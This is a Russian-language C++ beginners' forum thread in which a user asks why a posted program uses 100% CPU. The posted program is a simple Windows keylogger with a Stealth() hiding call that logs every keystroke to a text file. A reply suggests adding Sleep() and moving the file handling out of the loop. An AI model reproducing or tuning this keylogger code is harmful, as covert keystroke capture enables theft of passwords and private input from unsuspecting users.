Форум программистов, компьютерный форум, киберфорум
С++ для начинающих
Войти
Регистрация
Восстановить пароль
 
Рейтинг 4.50/4: Рейтинг темы: голосов - 4, средняя оценка - 4.50
0 / 1 / 0
Регистрация: 02.07.2015
Сообщений: 263
1

Что в программе делает так, что процессор грузится на 100%?

19.03.2017, 21:26. Показов 696. Ответов 2
Метки нет (Все метки)

Я не очень разбираюсь в С++, поэтому прошу вашей подсказки по поводу нагрузки на процессор.
Вот код программы, на компьютере жрет всю память. Что тут не так? Подскажите нубу.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include < iostream >
using namespace std;
#include < windows.h >
#include < winuser.h >
int Save (int key_stroke, char *file);
void Stealth();
 
int main()
{
Stealth();
char i;
 
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"program.txt");
}
}
system ("PAUSE");
return 0;
}
 
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
 
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
 
cout << key_stroke << endl;
 
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
 
fclose (OUTPUT_FILE);
return 0;
}
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
19.03.2017, 21:26
Ответы с готовыми решениями:

Объяснить, что делает каждый цикл в программе
Объясните пожалуйста что делает каждый цикл for (i = 0; i &lt; n; i++) cout &lt;&lt; a &lt;&lt; &quot; &quot;;//выводим...

Не делает сортировку или не выводи,не могу понять что не так
Написать программу обработки файла типа запись, содержащую следующие пункты меню: «Создание»,...

Что в этом кейлоггере так нагружает процессор?
Кто может глянуть и сказать что в этом простеньком коде грузит процессор на 50%?#include &lt;iostream&gt;...

Ошибка в программе! Что не так ?
#include &lt;iostream&gt; int a = 0; using namespace std; void FillArray(int flight, int count,...

__________________

Записывайтесь на профессиональные курсы C++ разработчиков
2
Эксперт С++
3057 / 1399 / 421
Регистрация: 19.01.2009
Сообщений: 3,770
19.03.2017, 22:00 2
sandy15, что есть Stealth()?
Чтобы небыло такой нагрузки на CPU, добавьте перед циклом в стоке 15, строку:
C
1
Sleep(20); // подберите подходящий для вас параметр (20 мсек программа не будет ничего делать)
В плане оптимальности, функцию Save() можно переписать так, что открытие и закрытие файла вынести вне цикла (чтобы эти действия не производились на каждой итерации цикла, т.к. они избыточны и затратны).
0
0 / 1 / 0
Регистрация: 02.07.2015
Сообщений: 263
20.03.2017, 03:51  [ТС] 3
Stealth() и Save (i,"program.txt"); - это не надо. Убрал уже.
А что даст Sleep(20) тут?
0
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
20.03.2017, 03:51

Заказываю контрольные, курсовые, дипломные работы и диссертации здесь.

ошибка в программе, что не так..
Хотелось бы узнать, что я сделала не так.. Задание: последовательность а1а2... образована по...

Что не так в программе? (цикл While)
Условие: Написать программу, которая находит сумму всех целых нечетных чисел в диапазоне, указанном...

что не так в программе, выдает ошибку...
помогите разобраться, пожалуйста, что не так?

Объясните что не так с указателем в программе
Функция defStart возвращает указатель на int . В main другой указатель присваивает значение(адрес)...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
3
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2021, vBulletin Solutions, Inc.